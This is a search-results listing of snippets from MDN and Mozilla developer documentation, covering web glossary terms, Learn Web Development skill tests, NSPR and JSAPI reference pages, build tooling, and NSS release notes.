... author origin the author origin is the style origin which contains all of the styles which are part of the document, whether embedded within the html or loaded from an external stylesheet file.
...And 2 more matches
TCP handshake - MDN Web Docs Glossary: Definitions of Web-related terms
the three messages transmitted by tcp to negotiate and start a tcp session are nicknamed syn, syn-ack, and ack for synchronize, synchronize-acknowledgement, and acknowledge respectively.
... the three message mechanism is designed so that two computers that want to pass information back and forth to each other can negotiate the parameters of the connection before transmitting data such as http browser requests.
... the host, generally the browser, sends a tcp synchronize packet to the server.
...And 2 more matches
TLD - MDN Web Docs Glossary: Definitions of Web-related terms
a tld (top-level domain) is the most generic domain in the internet's hierarchical dns (domain name system).
... icann (internet corporation for assigned names and numbers) designates organizations to manage each tld.
... iana today distinguishes the following groups of top-level domains: country-code top-level domains (cctld) two-character domains established for countries or territories.
...And 2 more matches
Safe - MDN Web Docs Glossary: Definitions of Web-related terms
what is important here is that by calling a safe method, the client doesn't request any server change itself, and therefore won't create an unnecessary load or burden for the server.
... browsers can call safe methods without fearing to cause any harm to the server; this allows them to perform activities like pre-fetching without risk.
... it is the responsibility of the application on the server to implement the safe semantic correctly, the webserver itself, being apache, nginx or iis, can't enforce it by itself.
...And 2 more matches
Test your skills: CSS and JavaScript accessibility - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...however, their accessibility is pretty bad — there is no way to really tell that they are links, or to tell which one the user is focussed on.
... we'd like you to assume that the existing ruleset with the a selector is supplied by some cms, and that you can't change it — instead, you need to create new rules to make the links look and behave like links, and for the user to be able to tell where they are in the list.
...And 2 more matches
Test your skills: HTML accessibility - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...you don't need to worry too much about recreating the exact same look and text sizing, as long as the semantics are good.
... html accessibility 4 in our final html accessibility task, you are given a simple image gallery, which has some accessibility problems.
...And 2 more matches
A cool-looking box - Learn web development
in this assessment, you'll get some more practice in creating cool-looking boxes by trying to create an eye-catching box.
... objective: to test comprehension of the css box model and other box-related features such as borders and backgrounds.
... alternatively, you could use a site like jsbin or glitch to do your assessment.
...And 2 more matches
Test your skills: The Cascade - Learn web development
the aim of this task is to help you check your understanding of some of the values and units that we looked at in the lesson on the cascade and inheritance.
... note: you can try out solutions in the interactive editors below, however, it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... in the example below see if you can match the image above.
...And 2 more matches
Test your skills: Overflow - Learn web development
the aim of these tasks is to help you check your understanding of overflow in css.
... note: you can try out solutions in the interactive editors below, however, it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...change it so that any image outside of the box is hidden.
...And 2 more matches
Test your skills: The Box Model - Learn web development
the aim of this task is to help you check your understanding of the css box model.
... note: you can try out solutions in the interactive editors below, however, it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...change the width of the second box by adding rules to the .alternate class, so that it matches the visual width of the first box.
...And 2 more matches
Test your skills: tables - Learn web development
the aim of this task is to help you check your understanding of the skills you studied in the lesson on styling tables.
... note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...there are a number of ways that you can achieve this, but i suggest following similar patterns as used in the tutorial to do the following things.
...And 2 more matches
Test your skills: values and units - Learn web development
the aim of this task is to help you check your understanding of some of the values and units that we looked at in the lesson on css values and units.
... note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... the fourth should use rgb color but with the alpha channel set to .2.
...And 2 more matches
Test your skills: Writing Modes and Logical Properties - Learn web development
the aim of this task is to help you check your understanding of writing modes and logical properties.
... note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...can you add a line of css to change it so it uses a vertical writing mode with right to left text?
...And 2 more matches
Test your skills: floats - Learn web development
you will be working through three small tasks which use different elements of the material you have just covered.
... note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...then we want the first line of text to display next to that element, but the following line of text (which has a class of .below) to display underneath it.
...And 2 more matches
Test your skills: Media Queries and Responsive Design - Learn web development
download the code and work locally, or use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...open this in your browser and you will find a wireframed site which will load in a mobile device in a readable manner.
... your task is to create a desktop version of this layout which displays when there is enough screen width to accomodate it.
...And 2 more matches
Using CSS generated content - Learn web development
this article describes some ways in which you can use css to add content when a document is displayed.
... html a text where i need to <span class="ref">something</span> css .ref::before { font-weight: bold; color: navy; content: "reference "; } output the character set of a stylesheet is utf-8 by default, but it can also be specified in the link, in the stylesheet itself, or in other ways.
... individual characters can also be specified by an escape mechanism that uses backslash as the escape character.
...And 2 more matches
Styling text - Learn web development
note: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin, codepen or glitch.
... guides this module contains the following articles, which will teach you all of the essentials behind styling html text content.
... styling links when styling links, it is important to understand how to make use of pseudo-classes to style link states effectively, and how to style links for use in common varied interface features such as navigation menus and tabs.
...And 2 more matches
What do common web layouts contain? - Learn web development
and if you don't have much experience, starting out with a blank page might be a bit scary.
...in other articles we'll discuss how to design responsive sites (sites that change depending on the screen size) and sites whose layouts vary between pages.
... a much trickier layout the opera de paris.
...And 2 more matches
Example 4 - Learn web development
change states html content <form class="no-widget"> <select name="myfruit"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> <div class="select"> <span class="value">cherry</span> <ul class="optlist hidden"> <li class="option">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> </form> css content .widget select, .no-widget .select { position : absolute; left : -5000em; height : 0; overflow : hidden; } /* --------------- */ /* required styles ...
... .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.remove('active'); } function activeselect(selec...
...t, selectlist) { if (select.classlist.contains('active')) return; selectlist.foreach(deactivateselect); select.classlist.add('active'); }; function toggleoptlist(select, show) { var optlist = select.queryselector('.optlist'); optlist.classlist.toggle('hidden'); } function highlightoption(select, option) { var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (other) { other.classlist.remove('highlight'); }); option.classlist.add('highlight'); }; function updatevalue(select, index) { var nativewidget = select.previouselementsibling; var value = select.queryselector('.value'); var optionlist = select.queryselectorall('.option'); nativewidget.selectedindex = index; value.innerhtml = optionlist[index].innerhtml; highlightoption...
...And 2 more matches
Test your skills: Form structure - Learn web development
note: you can try out the solution in the interactive editor below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... form structure 1 in this task we want you to structure the provided form features: separate out the first two and second two form fields into two distinct containers, each with a descriptive legend (use "personal details" for the first two, and "comment information" for the second two).
... mark up each text label with an appropriate element so that it is semantically associated with its respective form field.
...And 2 more matches
Test your skills: Advanced HTML text - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... semantically associate machine-readable dates with the dates in the text.
... use subscript and superscript to provide correct semantics for the chemical formulae and dates, and make them display correctly.
...And 2 more matches
Test your skills: Multimedia and embedding - Learn web development
this aim of this skill test is to assess whether you've understood our video and audio content and from object to iframe — other embedding technologies articles.
... note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... let the browser know in advance what video formats the sources point to, so it can make an informed choice of which one to download ahead of time.
...And 2 more matches
Structuring the web with HTML - Learn web development
to build websites, you should know about html — the fundamental technology used to define the structure of a webpage.
... it is recommended that you work through getting started with the web before attempting this topic, however, it isn't absolutely necessary; much of what is covered in the html basics article is also covered in our introduction to html module, albeit in a lot more detail.
... after learning html, you can then move on to learning about more advanced topics such as: css, and how to use it to style html (for example alter your text size and fonts used, add borders and drop shadows, layout your page with multiple columns, add animations and other visual effects.) javascript, and how to use it to add dynamic functionality to web pages (for example find your location and plot it on a map, make ui elements appear/disappear when you toggle a button, save users' data locally on their computers, and much much more.) modules this topic contains the following modules, in a suggested order for working through them.
...And 2 more matches
Test your skills: variables - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... variables 3 the final task for now — in this case you are provided with some existing code, which has two errors present in it.
... the results panel should be outputting the name chris, and a statement about how old chris will be in 20 years' time.
...And 2 more matches
Test your skills: Object-oriented JavaScript - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...we want you to: add a new method to the shape class's prototype, calcperimeter(), which calculates its perimeter (the length of the shape's outer edge) and logs the result to the console.
... call triangle.calcperimeter() to check that it works ok.
...And 2 more matches
Web performance - Learn web development
to build websites and applications people want to use, which attract and retain users, you need to create a good user experience.
... the rest of our beginner's learning material tried to stick to web best practices such as performance and accessibility as much as possible, however, it is good to focus specifically on such topics too, and make sure you are familiar with them.
... it would also be helpful to go a bit deeper into these topics, with modules such as: introduction to html css first steps javascript first steps once you've worked through this module, you'll probably be excited to go deeper into web performance — you can find a lot of further teachings in our main mdn web performance section, including overviews of performance apis, testing and analysis tools, and performance bottleneck gotchas.
...And 2 more matches
Server-side website programming - Learn web development
most major websites use some kind of server-side technology to dynamically display data as required.
...displaying all of these using different static pages would be extremely inefficient, so instead such sites display static templates (built using html, css, and javascript), and then dynamically update the data displayed inside those templates when needed, such as when you want to view a different product on amazon.
... learning pathway getting started with server-side programming is usually easier than client-side development, because dynamic websites tend to perform a lot of very similar operations (retrieving data from a database and displaying it in a page, validating user-entered data and saving it in a database, checking user permissions and logging users in, etc.), and are constructed using web frameworks that make these and other common web server operations easy.
...And 2 more matches
Cross browser testing - Learn web development
guides introduction to cross browser testing this article starts the module off by providing an overview of the topic of cross browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" strategies for carrying out testing next, we drill down into carrying out testing, looking at identifying a target audience (e.g.
... what browsers, devices, and other segments should you make sure are tested), lo-fi testing strategies (get yourself a range of devices and some virtual machines and do ad-hoc tests when needed), higher tech strategies (automation, using dedicated testing apps), and testing with user groups.
...this article details how to write your own simple feature detection, how to use a library to speed up implementation, and native features for feature detection such as @supports.
...And 2 more matches
Understanding client-side web development tools - Learn web development
client-side tooling can be intimidating, but this series of articles aims to illustrate the purpose of some of the most common client-side tool types, explain the tools you can chain together, how to install them using package managers, and control them using the command line.
... we finish up by providing a complete toolchain example showing you how to get productive.
...this article provides an introduction to the terminal, the essential commands you'll need to enter into it, how to chain commands together, and how to add your own command line interface (cli) tools.
...And 2 more matches
Installing headers using EXPORTS
this is accomplished by setting make variables telling the build system which module the headers are for (since headers are organized by module under <tt>dist/include</tt>), and which headers need to be created from idl files by xpidl.
... for all <tt>makefile.in</tt>s which export public headers, you should set module to the module name where the files should be copied to in <tt>dist/include</tt>.
...for xpidl-generated headers, you may also set xpidl_module to determine which typelib file is produced from the idl files.
...And 2 more matches
pymake
make.py (and the pymake modules that support it) are an implementation of the make tool which are mostly compatible with makefiles written for gnu make.
...usage if you use mach for everything, you don't have to worry about gmake and pymake: mach will run whatever is best for the current machine.
... note: on windows, you must take special care to be able to switch back and forth between gmake and pymake on the same object dir.
...And 2 more matches
Frame script environment
addmessagelistener() listen to messages from chrome.
... removemessagelistener() stop listening to messages from chrome.
... sendasyncmessage() send an asynchronous message to chrome.
...And 2 more matches
Frame script environment
addmessagelistener() listen to messages from chrome.
... removemessagelistener() stop listening to messages from chrome.
... sendasyncmessage() send an asynchronous message to chrome.
...And 2 more matches
Firefox and the "about" protocol
the most useful is the url about:config, which displays preferences and settings that can be inspected and changed.
...here is a complete list of urls in the about: pseudo protocol: about: page description about:about provides an overview of all about: pages available for your current firefox version about:addons add-ons manager about:buildconfig displays the configuration and platform used to build firefox about:cache displays information about the memory, disk, and appcache about:checkerboard switches to the checkerboarding measurement page, which allows to detect checkerboarding issues about:config provides a way to inspect and change firefox preferences and settings about:compat lists overriding site compatability fixes, linked to specific bug issues.
... about:crashes lists all crashes, which happened during the runtime of firefox (in case the user enabled the crash reporter) about:credits lists all contributors to the firefox project about:debugging switches to the developer tools debugging page, which allows you to debug add-ons, tabs and service workers about:devtools summarizes the developer tools and provides links to documentation for each tool about:downloads displays all downloads done within firefox about:home start page of firefox when opening a new window about:license displays licensing information about:logo firefox logo about:memory provides a way to display memory usage, save it as report and run the gc and cc ...
...And 2 more matches
Gecko
gecko's function is to render web content, such as html, css, xul, javascript, and render it on the user's screen or print it.
... gecko is used in many applications, including a few browsers such as firefox and seamonkey (for a complete list, please refer to wikipedia's article on gecko).
... documentation chrome this page contains information specific to browser chrome (not google chrome) code running in gecko.
...And 2 more matches
JavaScript Tips
xpconnect knows all about tearoffs and modifies the object that you queryinterface or instanceof to cache all its known interfaces.
...however, in javascript this is quite simple even in the case of a weak reference which in c++ requires a helper class: var weakobserver = { queryinterface: function queryinterface(aiid) { if (aiid.equals(components.interfaces.nsiobserver) || aiid.equals(components.interfaces.nsisupportsweakreference) || aiid.equals(components.interfaces.nsisupports)) return this; throw components.results.ns_nointerface; }, observe: function observe(asubject, a...
... dom elements dom elements are just xpcom objects with some of the interfaces precached.
...And 2 more matches
Assert.jsm
the assert.jsm javascript code module implements the commonjs unit testing specification version 1.1, which provides a basic, standardized interface for performing in-code logical assertions with optional, customizable error reporting.
... we check using the most exact approximation of equality between two objects to keep the chance of false positives to a minimum.
... undefined throws( block, expected, message ); parameters block function block to evaluate and catch eventual thrown errors expected test reference to evaluate against the thrown result from block message short explanation of the expected result rejects() expected to reject a promise.
...And 2 more matches
FxAccountsOAuthClient.jsm
components.utils.import("resource://gre/modules/fxaccountsoauthclient.jsm"); creating a new fxaccountsoauthclient new fxaccountsoauthclient(object options); method overview launchwebflow(); teardown(); attributes parameters object returns the set of parameters that initialized the firefox accounts oauth flow.
...methods launchwebflow() opens a new tab at the firefox accounts oauth authorization url.
... registers a webchannel listener and sets up a callback if needed.
...And 2 more matches
JavaScript OS.Constants
init(); from a chrome worker no initialization is required.
... module os.constants is always available for chrome workers.
...before using a constant, you should check that it is defined.
...And 2 more matches
L10n testing with xcode
select the client project in the left pane and choose editor > import localizations from the toolbar and select your localized xliff file.
... choose product > scheme > edit scheme from the toolbar menu.
... in the edit scheme screen, select run from the left pane and then navigate to the options tab.
...And 2 more matches
Mozilla MathML Project
updates status of each tag result of the mathml 3 testsuite unofficial nightly builds with mathml patches applied (maintained by bill gianopoulos) more updates and archived content community view mozilla forums...
... mailing list newsgroup rss feed irc channel wiki used by contributors - check out the latest developments and help us improving mathml in mozilla.
... links installing fonts for mozilla's mathml engine mathml version 3.0 - w3c recommendation, 21 october 2010 w3c mathml test suite - designed to check the implementation of each element one attribute (or built-in rendering behavior) at a time in a fairly thorough manner.
...And 2 more matches
Firefox Sync
firefox sync synchronizes state and configuration data used by the browser, such as bookmarks, history, preferences, bookmarks, and so forth among all your devices.
...all data is encrypted and decrypted on each device; no sync data is ever transmitted to a server without being encrypted.
... documentation this document serves as an index for all technical documentation related to sync.
...And 2 more matches
L20n
through l20n, mozilla is creating a new generation of technology that places more power in localizers' hands.
... l20n lets localizers reach higher levels of free linguistic expression by sharpening the divide between localization and application logic.
... l20n syntax cheatsheet for developers a simple cheatsheet to help developers as they add l20n to their localization infrastructure.
...And 2 more matches
NSPR release procedure
release checklist change the nspr version in mozilla/nsprpub/pr/include/prinit.h.
... change the nspr version in mozilla/nsprpub/{configure.in,configure}.
... change the nspr version in mozilla/nsprpub/pr/tests/vercheck.c.
...And 2 more matches
NSPR's Position On Abrupt Thread Termination
in the situation where it was defined (unix), which has only a single thread of execution, that is equivalent to terminating the process.
...to make this solution work requires that a function that encounters an error be designed such that it first repairs its immediate state, and then reports that error to its caller.
...this is not all that difficult (though having done it a number of times to already existing code, i will admit it isn't much fun either).
...And 2 more matches
Date and Time
this chapter describes the date and time functions in nspr.
...a time instant is represented by its position on the time line relative to the origin, called the epoch.
... nspr defines the epoch to be midnight (00:00:00) 1 january 1970 utc (coordinated universal time).
...And 2 more matches
I/O Types
this chapter describes the most common nspr types, enumerations, and structures used with the functions described in i/o functions and network addresses.
... directory type file descriptor types file info types network address types types used with socket options functions type used with memory-mapped i/o offset interpretation for seek functions directory type prdir file descriptor types nspr represents i/o objects, such as open files and sockets, by file descriptors of type prfiledesc.
...different kinds of i/o objects (such as files and sockets) have different i/o methods tables, thus implementing different behavior in response to the same i/o function call.
...And 2 more matches
Locks
this chapter describes the nspr api for creation and manipulation of a mutex of type prlock.
... lock type lock functions in nspr, a mutex of type prlock controls locking, and associated condition variables communicate changes in state among threads.
...in addition to prlock, nspr provides another mutex type, prmonitor, which is reentrant and can have only one associated condition variable.
...And 2 more matches
PR_CEnterMonitor
enters the lock associated with a cached monitor.
... if unsuccessful (the monitor cache needs to be expanded and the system is out of memory), the function returns null.
... description pr_centermonitor uses the value specified in the address parameter to find a monitor in the monitor cache, then enters the lock associated with the monitor.
...And 2 more matches
PR_Notify
notifies a monitor that a change in state of the monitored data has occurred.
...the monitor object referenced must be one for which the calling thread currently holds the lock.
... description notification of a monitor signals the change of state of some monitored data.
...And 2 more matches
PR_ProcessAttrSetInheritableFileMap
prepare filemap for export to my children processes via pr_createprocess.
... syntax #include <prshma.h> nspr_api(prstatus) pr_processattrsetinheritablefilemap( prprocessattr *attr, prfilemap *fm, const char *shmname ); parameters the function has the following parameters: attr pointer to a prprocessattr structure used to pass data to pr_createprocess.
... fm pointer to a prfilemap structure to be passed to the child process.
...And 2 more matches
PR_ReadDir
flags specifies which directory entries, if any, to skip.
... if the end of the directory is reached or an error occurs, null.
... description pr_readdir returns a pointer to a directory entry structure: struct prdirentry { const char *name; }; typedef struct prdirentry prdirentry; the structure has the following field: name name of entry, relative to directory name.
...And 2 more matches
PR_Wait
the monitor object referenced must be one for which the calling thread currently holds the lock.
... ticks the amount of time (in printervaltime units) that the thread is willing to wait for an explicit notification before being rescheduled.
... pr_failure means pr_wait encountered a system error (such as an invalid monitor reference) or the thread was interrupted by another thread.
...And 2 more matches
NSS CERTVerify Log
if you supply the log parameter, nss will continue chain validation after each error .
... the log tells you what the problem was with the chain and what certificate in the chain failed.
... each entry is a certverifylognode.
...And 2 more matches
4.3 Release Notes
bc_sha tls_dh_anon_with_camellia_128_cbc_sha tls_dh_dss_with_camellia_256_cbc_sha tls_dh_rsa_with_camellia_256_cbc_sha tls_dh_anon_with_camellia_256_cbc_sha tls_ecdh_anon_with_null_sha tls_ecdh_anon_with_rc4_128_sha tls_ecdh_anon_with_3des_ede_cbc_sha tls_ecdh_anon_with_aes_128_cbc_sha tls_ecdh_anon_with_aes_256_cbc_sha distribution information jss is checked into mozilla/security/jss/.
... source tarballs are available from https://archive.mozilla.org/pub/security/jss/releases/jss_4_3_rtm/src/jss-4.3.tar.bz2 binary releases are no longer available on mozilla.
... jss is a jni library we provide the jss4.jar but expect you to build the jss's matching jni shared library.
...And 2 more matches
NSS 3.15.4 release notes
introduction network security services (nss) 3.15.4 is a patch release for nss 3.15.
... bug 919877 - (cve-2013-1740) when false start is enabled, libssl will sometimes return unencrypted, unauthenticated data from pr_recv new in nss 3.15.4 new functionality implemented ocsp querying using the http get method, which is the new default, and will fall back to the http post method.
... new functions cert_forcepostmethodforocsp cert_getsubjectnamedigest cert_getsubjectpublickeydigest ssl_peercertificatechain ssl_recommendedcanfalsestart ssl_setcanfalsestartcallback new types cert_rev_m_force_post_method_for_ocsp: when this flag is used, libpkix will never attempt to use the http get method for ocsp requests; it will always use post.
...And 2 more matches
NSS 3.16 release notes
introduction the nss team has released network security services (nss) 3.16, which is a minor release.
... notable changes in nss 3.16 ecc is enabled by default.
... bug 903885: (cve-2014-1492) in a wildcard certificate, the wildcard character should not be embedded within the u-label of an internationalized domain name.
...And 2 more matches
NSS 3.17.2 release notes
introduction network security services (nss) 3.17.2 is a patch release for nss 3.17.
...this is a patch release to fix a regression and other bugs.
... notable changes in nss 3.17.2 bug 1049435: change rsa_privatekeycheck to not require p > q.
...And 2 more matches
NSS 3.17 release notes
introduction the nss team has released network security services (nss) 3.17, which is a minor release.
...nss 3.17 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_rtm/src/ new in nss 3.17 new functionality when using ecdhe, the tls server code may be configured to generate a fresh ephemeral ecdh key for each handshake, by setting the ssl_reuse_server_ecdhe_key socket option to pr_false.
... the ssl_reuse_server_ecdhe_key option defaults to pr_true, which means the server's ephemeral ecdh key is reused for multiple handshakes.
...And 2 more matches
NSS 3.18 release notes
introduction the nss team has released network security services (nss) 3.18, which is a minor release.
...a pkcs#11 library that contains root ca certificates can be loaded by tstclnt, which may either be the nssckbi library provided by nss (-b) or another compatible library (-r).
... new functions in certdb.h sec_checkcrltimes - check the validity of a crl at the given time.
...And 2 more matches
NSS 3.19 release notes
introduction the nss team has released network security services (nss) 3.19, which is a minor security release.
... new in nss 3.19 new functionality for some certificates, such as root ca certificates that don't embed any constraints, nss might impose additional constraints such as name constraints.
... it is possible to override the directory (sqlite_lib_dir) in which the nss build system will look for the sqlite library.
...And 2 more matches
NSS 3.36.1 release notes
introduction network security services (nss) 3.36.1 is a patch release for nss 3.36.
...this is a patch release to fix regression bugs.
... notable changes in nss 3.36.1 in nss version 3.35 the iteration count in optimized builds, which is used for password based encryption algorithm related to encrypted pkcs#7 or pkcs#12 data, was increased to one million iterations.
...And 2 more matches
NSS 3.37 release notes
introduction the nss team has released network security services (nss) 3.37, which is a minor release.
... nss 3.37 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_37_rtm/src/ notable changes in nss 3.37 the tls 1.3 implementation was updated to draft 28.
... added hacl* poly1305 32-bit the code to support the npn protocol, which had already been disabled in a previous release, has been fully removed.
...And 2 more matches
NSS 3.39 release notes
introduction the nss team has released network security services (nss) 3.39, which is a minor release.
... nss 3.39 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_39_rtm/src/ new in nss 3.39 new functionality the tstclnt and selfserv utilities added support for configuring the enabled tls signature schemes using the -j parameter.
... support for these keys is disabled by default but can be enabled using ssl_signatureschemeprefset().
...And 2 more matches
NSS 3.44 release notes
introduction the nss team has released network security services (nss) 3.44 on 10 may 2019, which is a minor release.
... the nss team would like to recognize first-time contributors: kevin jacobs, david carlier, alexander scheel, and edouard oger.
... notable changes in nss 3.44 it is now possible to build nss as a static library (bug 1543545) initial support for building for ios.
...And 2 more matches
NSS 3.48 release notes
introduction the nss team has released network security services (nss) 3.48 on 5 december 2019, which is a minor release.
... notable changes in nss 3.48 tls 1.3 is the default maximum tls version.
... certificate authority changes the following ca certificates were added: bug 1591178 - entrust root certification authority - g4 cert sha-256 fingerprint: db3517d1f6732a2d5ab97c533ec70779ee3270a62fb4ac4238372460e6f01e88 upcoming changes in nss 3.49 the legacy dbm database, libnssdbm, will no longer be built by default.
...And 2 more matches
NSS release notes template
draft (remove line when document is finished) introduction the nss team has released network security services (nss) 3.xx, which is a minor release.
... or network security services (nss) 3.xx.y is a patch release for nss 3.xx.
...this is a patch release to fix ...
...And 2 more matches
FC_GetTokenInfo
manufacturerid: id of the device manufacturer, "mozilla foundation", padded with spaces to 32 characters and not null-terminated.
... model: model of the device, "nss 3", padded with spaces to 16 characters and not null-terminated.
... serialnumber: the device's serial number as a string, "0000000000000000", 16 characters and not null-terminated.
...And 2 more matches
NSS Tools cmsutil
using cmsutil newsgroup: mozilla.dev.tech.crypto the cmsutil command-line utility uses the s/mime toolkit to perform basic operations, such as encryption and decryption, on cryptographic message syntax (cms) messages.
...each command takes one option.
... each option may take zero or more arguments.
...And 2 more matches
Necko Interfaces Overview
nsiioservice central necko service manages protocol handlers thin layer over protocol handlers provides interface for creating uri objects from uri strings maps uri scheme to appropriate nsiprotocolhandler impl nsiuri (nsiurl, nsifileurl, nsistandardurl) represents an uri, with getters and setters for various uri parts (eg.
... scheme, host, path, ...) per protocol implementation necko provides uri impl's for common uri formats (see nsstandardurl, nssimpleuri) nsichannel : nsirequest represents a logical connection to the resource identified by a nsiuri per protocol implementation single use (ie.
... channel is used to download the resource once) download initiated via nsichannel::asyncopen method can be canceled via nsirequest::cancel method at anytime after invocation of asyncopen method nsiprotocolhandler a service that manages a protocol, identified by it's uri scheme (eg.
...And 2 more matches
Installing Pork
build and install mcpp mcpp generates macro expansion comments that allow pork's elsa to undo macros, which is necessary in order to get exact position information.
... to tell mcpp which gcc installation to integrate itself with, place the selected gcc bin dir as the first element of your path: path=/bindir/of/my/gcc:$path if you want to use a gcc that has binaries named something other than "gcc" and "g++", or you use "ccache" for you main gcc installation and want mcpp to override a separate installation, you need to pass the options "cc=gccxxx cxx=g++xxx" to "./configure".
... apply this patch: note: this doesn't seem necessary in the latest version; cppflags is already an argument.
...And 2 more matches
Rhino documentation
downloads archive includes release notes for rhino releases optimization details on the various optimization levels.
... javascript tools rhino shell interactive or batch execution of scripts.
... using rhino with bean scripting framework (bsf) how to use rhino with apps that support bsf (bean scripting framework) from the apache jakarta project.
...And 2 more matches
Small Footprint
a few changes can be made to reduce the footprint of rhino for embeddings where space is at a premium.
...with various changes js.jar size can be reduced to 204,689 bytes corresponding to 424,774 bytes of uncompressed classes.
...rhino will continue to run, although it will not be able to execute any regular expression matches.
...And 2 more matches
Rebranding SpiderMonkey (1.8.5)
the above command has actually changed some information we need changed back so we will re-issue the recursive find and replace text in files command with some modifications.
... find ./ -type f -exec sed -i "s/$brand.pc/mozjs185.pc/" {} \; the last recursive search and replace, changes the file name of the static library: find ./ -type f -exec sed -i "s/js_static/$brand_static/" {} \; allright, almost there.
...search for this text: mozjs185.pc "scroll down" a few lines until you see this line: > $@ && chmod 644 $@ that line should be modified to read back: > $brand.pc && chmod 644 $brand.pc "scroll down" a few lines until you see these lines: install:: $(pkg_config_files) @echo pkg_config_file: $(pkg_config_files) those two lines should be modified to read back: install:: $brand.pc @echo pkg_config_file: $brand.pc note: while it is possible to automate the manual editing process, this has been discouraged due to the fact that these files are automatically generated and very little constant data can be depended upon.
...And 2 more matches
JS::Call
syntax bool js::call(jscontext *cx, js::handleobject thisobj, js::handlefunction fun, const js::handlevaluearray &args, js::mutablehandlevalue rval); bool js::call(jscontext *cx, js::handleobject thisobj, const char *name, const js::handlevaluearray& args, js::mutablehandlevalue rval); bool js::call(jscontext *cx, js::handleobject thisobj, js::handlevalue fun, const js::handlevaluearray& args, js::mutablehandlevalue rval); bool js::call(jscontext *cx, js::handlevalue thisv, js::handlevalue fun, const js::handlevaluearray& args, js::mutablehandlevalue rval); bool js::call(jscontext *cx, js::handlevalue thisv, js::handleobject funobj, const js::h...
...andlevaluearray& args, js::mutablehandlevalue rval); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... thisobj js::handleobject / js::handlevalue the "current" object on which the function operates; the object specified here is "this" when the function executes.
...And 2 more matches
JS::Handle
this is most useful as a parameter type, which guarantees that the t value is properly rooted.
...functions which take gc things or values as arguments and need to root those arguments should generally use handles for those arguments and avoid any explicit rooting.
...first, when several such functions call each other then redundant rooting of multiple copies of the gc thing can be avoided.
...And 2 more matches
JSExtendedClass.wrappedObject
syntax typedef jsobject * (*jsobjectop)(jscontext *cx, jsobject *obj); name type description cx jscontext * the context in which the object is being unwrapped.
...(the result may be "object", "function", or "xml".) when assigning to __proto__ or __parent__ from script, the javascript engine checks to see if the assignment would produce a cycle.
...when walking the chain to do this check, wrappers are automatically unwrapped.
...And 2 more matches
JSFinalizeOp
syntax typedef void (* jsfinalizeop)(jsfreeop *fop, jsobject *obj); name type description cx jscontext * the js context in which garbage collection is taking place.
...the garbage collector calls this callback for each object it collects.
... the finalizer's job is to clean up any resources allocated by the instance which wouldn't normally be cleaned up by the garbage collector (private data stored in the object by the application, file handles, etc.) finalizers must never store a reference to obj.
...And 2 more matches
JSNewEnumerateOp
*cx, js::handleobject obj, js::autoidvector &properties); // added in spidermonkeysidebar 38 typedef bool (* jsnewenumerateop)(jscontext *cx, js::handleobject obj, jsiterateop enum_op, js::mutablehandlevalue statep, js::mutablehandleid idp); // obsolete since jsapi 37 name type description cx jscontext * the context in which the enumeration is taking place.
... enum_op jsiterateop obsolete since jsapi 37 specifies which step in iteration is happening.
...when an ordinary object is enumerated, that object and each object on its prototype chain is tested for an enumerate op, and those ops are called in order.
...And 2 more matches
JSNewResolveOp
syntax typedef bool (* jsnewresolveop)(jscontext *cx, js::handleobject obj, js::handleid id, js::mutablehandleobject objp); name type description cx jscontext * pointer to the js context in which the property access is taking place.
...on success, the resolve hook must set *objp to the object in which the property has been defined, or null if it was not defined.
...setting jsclass_new_resolve and jsclass_new_resolve_gets_start further extends this hook by passing in the starting object on the prototype chain via *objp.
...And 2 more matches
JSObjectOps.getProperty
details of the api may change from one release to the next.
